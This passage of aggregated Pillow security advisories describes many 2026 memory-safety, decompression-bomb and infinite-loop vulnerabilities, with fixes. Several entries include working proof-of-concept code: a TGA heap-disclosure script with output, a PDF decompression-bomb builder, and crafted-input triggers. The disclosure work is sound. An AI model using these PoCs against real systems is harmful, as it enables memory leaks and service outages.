Version checks:

Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
                           validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected
Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable
through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter
size/configuration passed to Pillow. If the image is also attacker-supplied, the
source pixel value written out of bounds can be attacker-influenced, including
4-byte values for mode "I" images.

Possible fix

Validate the rank-filter size before calling image.expand(...), and harden
ImagingExpand() against invalid margins and overflow:

if (xmargin < 0 || ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
    ymargin > (INT_MAX - imIn->ysize) / 2) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


BIT-pillow-2026-54059 / CVE-2026-54059 / GHSA-8v84-f9pq-wr9x / PYSEC-2026-2253

More information

Details

Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-54060 / CVE-2026-54060 / GHSA-5x94-69rx-g8h2 / PYSEC-2026-2254

More information

Details

Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-55379 / CVE-2026-55379 / GHSA-45hq-cxwh-f6vc / PYSEC-2026-2255

More information

Details

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-55380 / CVE-2026-55380 / GHSA-phj9-mv4w-65pm / PYSEC-2026-2256

More information

Details

Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-55798 / CVE-2026-55798 / GHSA-4x4j-2g7c-83w6 / PYSEC-2026-2257

More information

Details

Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.

Severity

  • CVSS Score: 4.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-59199 / CVE-2026-59199 / GHSA-6r8x-57c9-28j4 / PYSEC-2026-3451

More information

Details

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-59203 / CVE-2026-59203 / GHSA-pg7v-jwj7-p798 / PYSEC-2026-3452

More information

Details

Pillow is a Python imaging library. From 12.0.0 through 12.2.0, Pillow's EPS parser in PIL/EpsImagePlugin.py accepts a negative byte count in the %%BeginBinary directive, allowing a crafted EPS file to cause Image.open() to seek backwards to the same directive and parse it repeatedly in an infinite loop. This issue is fixed in version 12.3.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-59205 / CVE-2026-59205 / GHSA-9hw9-ch79-4vh6 / PYSEC-2026-3453

More information

Details

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-59197 / CVE-2026-59197 / GHSA-xj96-63gp-2gmr / PYSEC-2026-3454

More information

Details

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)

BIT-pillow-2026-54058 / CVE-2026-54058 / GHSA-62p4-gmf7-7g93 / PYSEC-2026-3493

More information

Details

Summary

When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImaging_MapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysize*stride <= buffer_len but never checks that stride is at least the natural row width xsize * pixelsize.

The McIdas AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsize*pixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(),
getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).

Complete Code Trace

Step 1: McIdasImageFile._open - turns attacker header words into image size, file offset, and row stride with no validation.


##### src/PIL/McIdasImagePlugin.py:41-70
s = self.fp.read(256)
if not _accept(s) or len(s) != 256:        # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04"
    raise SyntaxError(...)
self.area_descriptor = w = [0, *struct.unpack("!64i", s)]   # w[1..64] = signed BE int32, ALL attacker-controlled

if w[11] == 1:
    mode = rawmode = "L"                    # pixelsize 1, in _MAPMODES
elif w[11] == 2:
    mode = rawmode = "I;16B"                # pixelsize 2, in _MAPMODES
...
self._mode = mode
self._size = w[10], w[9]                    # (xsize, ysize)  <-- attacker
offset = w[34] + w[15]                       # <-- attacker
stride = w[15] + w[10] * w[11] * w[14]       # <-- attacker (set w[14]=0, w[15]=1 => stride=1)
self.tile = [
    ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
]

Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to map_buffer.


##### src/PIL/ImageFile.py:322-348
if use_mmap:                                 # use_mmap = self.filename and len(self.tile) == 1
    decoder_name, extents, offset, args = self.tile[0]
    if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
            and args[0] == self.mode and args[0] in Image._MAPMODES):
        if offset < 0:                       # only lower-bound guard on offset
            raise ValueError("Tile offset cannot be negative")
        with open(self.filename) as fp:
            self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
        if offset + self.size[1] * args[1] > self.map.size():   # == offset + ysize*stride; NO stride>=linesize check
            raise OSError("buffer is not large enough")
        self.im = Image.core.map_buffer(
            self.map, self.size, decoder_name, offset, args      # args = ("L", stride, 1)
        )

Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.

/* src/map.c:65-140 */
if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
        &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
    return NULL;
...
const ModeID mode = findModeID(mode_name);          /* "L" */

if (stride <= 0) {                                  /* attacker sets stride=1 (>0) -> NOT recomputed */
    if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
    else if (isModeI16(mode)) stride = xsize * 2;
    else stride = xsize * 4;
}

if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
    PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL;
}
size = (Py_ssize_t)ysize * stride;                  /* = 1*1 = 1 */

if (offset > PY_SSIZE_T_MAX - size) { ... }
...
if (offset + size > view.len) {                     /* 1 + 1 = 2 <= 256 -> PASSES */
    PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
    PyBuffer_Release(&view); return NULL;
}

im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
/* im->linesize = xsize * pixelsize = 200000  (the REAL per-row read width) */

/* setup file pointers -- NO check that stride >= im->linesize */
if (ystep > 0) {
    for (y = 0; y < ysize; y++) {
        im->image[y] = (char *)view.buf + offset + y * stride;   /* row points into mmap, spacing=1 */
    }
} else { ... }

im->linesize (the number of bytes any consumer reads per row) is xsize * pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysize*stride = 2 bytes "claimed". Nothing reconciles the two.

Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.

/* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y];
   for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */
Chain Summary
SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34]  (Image.open on a path)
  ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14]  -> attacker sets stride=1   [McIdasImagePlugin.py:66]
  ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1))                                     [McIdasImagePlugin.py:68]
GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len  <- BUG: no stride>=linesize check  [ImageFile.py:343]
  ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1))                              [ImageFile.py:346]
SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize   [map.c:134]
  ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)
Proof of Concept

See attached poc.zip

Impact on a Parent Application

Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:

  • Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.
  • Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS.
Suggested fix

Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize .

Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images

BIT-pillow-2026-59198 / CVE-2026-59198 / GHSA-fj7v-r99m-22gq / PYSEC-2026-3494

More information

Details

Summary

Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1"
image. Adjacent process heap bytes can be copied into the generated TGA file.

The bug is reachable through the public save API:

im.save(out, format="TGA", compression="tga_rle")

Older affected Pillow versions use the equivalent public option rle=True.

For mode "1", Pillow allocates a packed row buffer of ceil(width / 8)
bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.

The maximum valid TGA width is 65535. At that width:

allocated packed row buffer: 8192 bytes
encoder byte-offset walk:     65535 bytes
maximum OOB window per row:   57343 bytes

On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized
57297 bytes from distinct out-of-bounds source offsets into one returned TGA,
covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most 128 bytes each, not one large
memcpy().

Details

src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the
tga_rle encoder when RLE compression is requested.

src/encode.c:_setimage() allocates the row buffer using the packed-bit
formula:

state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);

For mode "1", state->bits == 1.

src/libImaging/TgaRleEncode.c then computes:

bytesPerPixel = (state->bits + 7) / 8;

This becomes 1, and the encoder uses pixel indexes as byte offsets:

static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
    buf += x * bytesPerPixel;
    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}

The packet payload memcpy() later copies those out-of-bounds source bytes into
the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy
one representative byte:

memcpy(
    dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);

A width-2 mode "1" image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.

PoC
Minimal ASAN trigger
import io
from PIL import Image

out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage
Maximum-width heap disclosure

This PoC uses one maximum-width row. It parses the generated TGA packets and
extracts only payload bytes whose source offsets were outside the allocated
packed row. Rows are avoided because they mostly repeat the same adjacent heap window.

Run the following with a standard affected Pillow installation.

import hashlib
import io
import PIL
from PIL import Image

WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES

def extract_oob_payload(data):
    i = 18
    pixel = 0
    oob = bytearray()

    while pixel < WIDTH:
        descriptor = data[i]
        i += 1
        count = (descriptor & 0x7F) + 1

        if descriptor & 0x80:
            value = data[i]
            i += 1
            if pixel + count - 1 >= ROW_BYTES:
                oob.append(value)
        else:
            values = data[i : i + count]
            i += count
            oob.extend(values[max(ROW_BYTES - pixel, 0) :])

        pixel += count

    return bytes(oob)

best = b""

for _ in range(ATTEMPTS):
    out = io.BytesIO()
    Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
    oob = extract_oob_payload(out.getvalue())
    if len(oob) > len(best):
        best = oob

with open("/tmp/max_oob_bytes.bin", "wb") as fp:
    fp.write(best)

print(f"Pillow={PIL.__version__}")
print(f"packed_row_bytes={ROW_BYTES}")
print(f"maximum_oob_window={MAX_OOB_WINDOW}")
print(f"serialized_distinct_oob_offsets={len(best)}")
print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
print(f"sha256={hashlib.sha256(best).hexdigest()}")

Observed on installed Pillow 12.2.0:

Pillow=12.2.0
packed_row_bytes=8192
maximum_oob_window=57343
serialized_distinct_oob_offsets=57297
nonzero_oob_bytes=54407
coverage=99.92%
Impact

This is a heap out-of-bounds read and potential information disclosure.

A maximum-width single-row image can cause nearly the full
57343-byte adjacent heap window to be incorporated into one output file.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()

BIT-pillow-2026-59200 / CVE-2026-59200 / GHSA-jjj6-mw9f-p565 / PYSEC-2026-3495

More information

Details

Summary

PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.

Details

PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():


##### PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
    def decode(self) -> bytes:
        try:
            filter = self.dictionary[b"Filter"]
        except KeyError:
            return self.buf
        if filter == b"FlateDecode":
            try:
                expected_length = self.dictionary[b"DL"]
            except KeyError:
                expected_length = self.dictionary[b"Length"]
            return zlib.decompress(self.buf, bufsize=int(expected_length))
            #                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            #  bufsize is an *initial buffer hint*, NOT a maximum size limit.
            #  zlib.decompress() allocates as much memory as needed regardless.

From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.

PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.

Confirmed reachable path:

with PdfParser.PdfParser("evil.pdf") as pdf:
    stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
    data = stream_obj.decode()   # ← OOM here
PoC
import zlib, tempfile, os, time
from PIL import PdfParser

##### Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9)   # ~97 KB

buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
    buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'

print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")

with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
    f.write(buf); tmpname = f.name

with PdfParser.PdfParser(tmpname) as pdf:
    obj, _ = pdf.get_value(pdf.buf, o3)
    t = time.time()
    decoded = obj.decode()
    print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")

os.unlink(tmpname)

Actual output (Pillow 12.1.1, Python 3.12):

PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s

Measured expansion:

PDF file size Memory allocated Ratio Wall time
10 KB 10 MB 1,026× 0.024 s
95 KB 100 MB 1,028× 0.265 s
475 KB 500 MB 1,028× 1.279 s
950 KB 1,000 MB (1 GB) 1,028× 2.668 s
Impact

This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.

Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.

Suggested fix:

MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024  # 200 MB cap

def decode(self) -> bytes:
    ...
    if filter == b"FlateDecode":
        ...
        result = zlib.decompress(self.buf, bufsize=int(expected_length))
        if len(result) > MAX_DECOMPRESS_BYTES:
            msg = "Decompressed stream exceeds maximum allowed size"
            raise ValueError(msg)
        return result

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service

BIT-pillow-2026-59204 / CVE-2026-59204 / GHSA-vjc4-5qp5-m44j / PYSEC-2026-3496

More information

Details

Summary

src/libImaging/Jpeg2KDecode.c:853 accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tile_bytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.

Details
  • Location: src/libImaging/Jpeg2KDecode.c:853
  • Root cause: total_component_width is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive tile_bytes, so later tiles are treated as if they had the combined component width of all earlier tiles.
  • Dangerous operation: tile_bytes is promoted into tile_info.data_size, then state->buffer is grown with realloc at src/libImaging/Jpeg2KDecode.c:876.
  • Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal Image.open(...).load() decoding.
PoC

The attached helper script and testcase were used:
exercise_j2k_tile_realloc.zip

Generate the testcase:

pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \
  --size 3664 --tile 1832

Expected geometry from the helper:

  • image size: 3664 x 3664
  • mode: RGBA
  • tile size: 1832 x 1832 (2x2 tiles)
  • image_bytes=53699584
  • uncapped RSS observed:
    • vulnerable build: maxrss_kb=180264
    • fixed comparison build: maxrss_kb=138404

Load it with the current vulnerable build:

python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2

Load it again under a 160 MB address-space cap:

python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160
Impact

Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Pillow: Infinite loop in MIC n_frames when the embedded TIFF

BIT-pillow-2026-112390 / CVE-2026-112390 / GHSA-22hg-r758-rrw9

More information

Details

============================================================================
Infinite loop in MIC n_frames when the embedded TIFF has 3+ IFDs
Location: src/PIL/MicImagePlugin.py:86  in MicImageFile.tell()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

A crafted 5.6 KB image file makes Pillow loop forever at 100% CPU when an application asks how many frames the image has. This only affects installations that have the optional olefile package. Any application that opens an untrusted image and then reads im.n_frames can have one worker tied up indefinitely. That includes the common "is this image animated?" check and re-saving with save_all=True to TIFF, PDF or WebP. The call never returns, raises no exception, and does not grow memory, so only an external watchdog stops it.

The file is a Microsoft Image Composer (MIC) container, which Pillow recognises by its magic bytes with no extension needed. Inside it is a TIFF stream with three chained image directories. MicImageFile subclasses TiffImageFile and overrides seek() and tell() so that a "frame" means one stream in the container. It still inherits TiffImageFile.n_frames (src/PIL/TiffImagePlugin.py:1212), which walks the embedded TIFF's directory chain with self._seek(self.tell() + 1) until _n_frames is set. Two things stop that walk from making progress:

  • MicImageFile.tell() (src/PIL/MicImagePlugin.py:86) returns the constant stream index.
  • MicImageFile.seek() calls TiffImageFile._open(), which resets _n_frames to None.

As a result, the loop re-parses the second directory forever whenever the embedded stream has three or more directories. Image.open(), load(), thumbnail(), convert(), is_animated and ImageSequence iteration do not hang on this file. The regression was introduced in 0b33a87b0d15 (April 2020, first released in 7.2.0), which removed MicImageFile's own n_frames property. The attached reproducer builds the file in code and checks two controls, which return 3 and 1 frames as expected; the malicious file is still running when it is killed after 20 seconds.

Details

MicImageFile (registered for Image.open whenever olefile is installed) subclasses TiffImageFile and redefines a "frame" as one OLE *.ACI/Image stream, overriding seek() and tell() accordingly. It does not override the n_frames property, so the inherited TIFF implementation runs, and that implementation relies on tell() advancing as IFDs are loaded. MicImageFile.tell() returns the OLE stream index, which never changes inside n_frames, so the loop re-parses the same IFD forever.

A 5632-byte OLE2 compound file whose img0.ACI/Image stream is a 351-byte TIFF with three chained 1×1 IFDs is enough. Image.open() on it succeeds (format MIC, detected by the OLE magic, no extension needed); evaluating im.n_frames then never returns and keeps one core at 100 %. A Python stack taken 27 s in is

  File "src/PIL/TiffImagePlugin.py", line 1622 in _setup
  File "src/PIL/TiffImagePlugin.py", line 1271 in _seek
  File "src/PIL/TiffImagePlugin.py", line 1219 in n_frames

and instrumenting _seek shows it being called with frame=1, tell()==0, _frame_pos==[8, 122], _n_frames is None on every iteration — identical state, so the loop is non-terminating, not merely slow. The same 351 TIFF bytes opened directly give n_frames == 3 in milliseconds, and the same container around a 1-IFD TIFF gives n_frames == 1.

The loop, src/PIL/TiffImagePlugin.py:1212:

    @property
    def n_frames(self) -> int:
        current_n_frames = self._n_frames
        if current_n_frames is None:
            current = self.tell()
            self._seek(len(self._frame_pos))
            while self._n_frames is None:
                self._seek(self.tell() + 1)      # 1219
            self.seek(current)

and the overrides that break its progress assumption, src/PIL/MicImagePlugin.py:76:

    def seek(self, frame: int) -> None:
        …
        self.fp = self.ole.openstream(filename)
        TiffImagePlugin.TiffImageFile._open(self)   # 82: resets _n_frames to None
        self.frame = frame

    def tell(self) -> int:
        return self.frame                            # 87: OLE stream index, not TIFF __frame

For a plain TIFF, _seek(k) (TiffImagePlugin.py:1236) loads IFDs up to k, appending each offset to _frame_pos, setting _n_frames when an IFD's next-pointer is 0 (or already seen), and setting the private __frame = k; TiffImageFile.tell() returns __frame, so self.tell() + 1 walks the chain to its end.

For a MIC file, Image.open → MicImageFile._open sets self._n_frames = len(self.images) at line 69, but then calls self.seek(0) → TiffImageFile._open (line 82), which unconditionally sets self._n_frames = None (TiffImagePlugin.py:1203) and _seek(0)s into the embedded stream. With the 3-IFD stream, IFD 0 has a non-zero next pointer, so _n_frames stays None after open. n_frames then runs: current = self.tell() is 0 (the OLE index); _seek(len(_frame_pos)) = _seek(1) loads IFD 1, whose next pointer is also non-zero and not yet in _frame_pos, so _n_frames is still None. The while body computes self.tell() + 1 = 0 + 1 and calls _seek(1) again; len(_frame_pos) is already 2, so nothing new is loaded — IFD 1 is re-read via tag_v2.load and _setup() and the state is unchanged. This repeats indefinitely; IFD 2 is never reached. Two chained IFDs are not enough (IFD 1's next pointer of 0 sets _n_frames = 2 on the first _seek(1)); three or more are.

Tests/test_file_mic.py::test_n_frames passes only because hopper.mic's stream has a single IFD, so _seek(0) sets _n_frames = 1 and the loop is never entered; the len(self.images) assignment at line 69 is only consumed by the initial _seek_check(0) and is overwritten before any caller can read n_frames.

A side effect of the same mismatch: with a 2-IFD stream n_frames returns 2 (TIFF IFDs) while seek(1) indexes self.images[1] (OLE streams) and raises IndexError — visible with save_all=True.

Impact

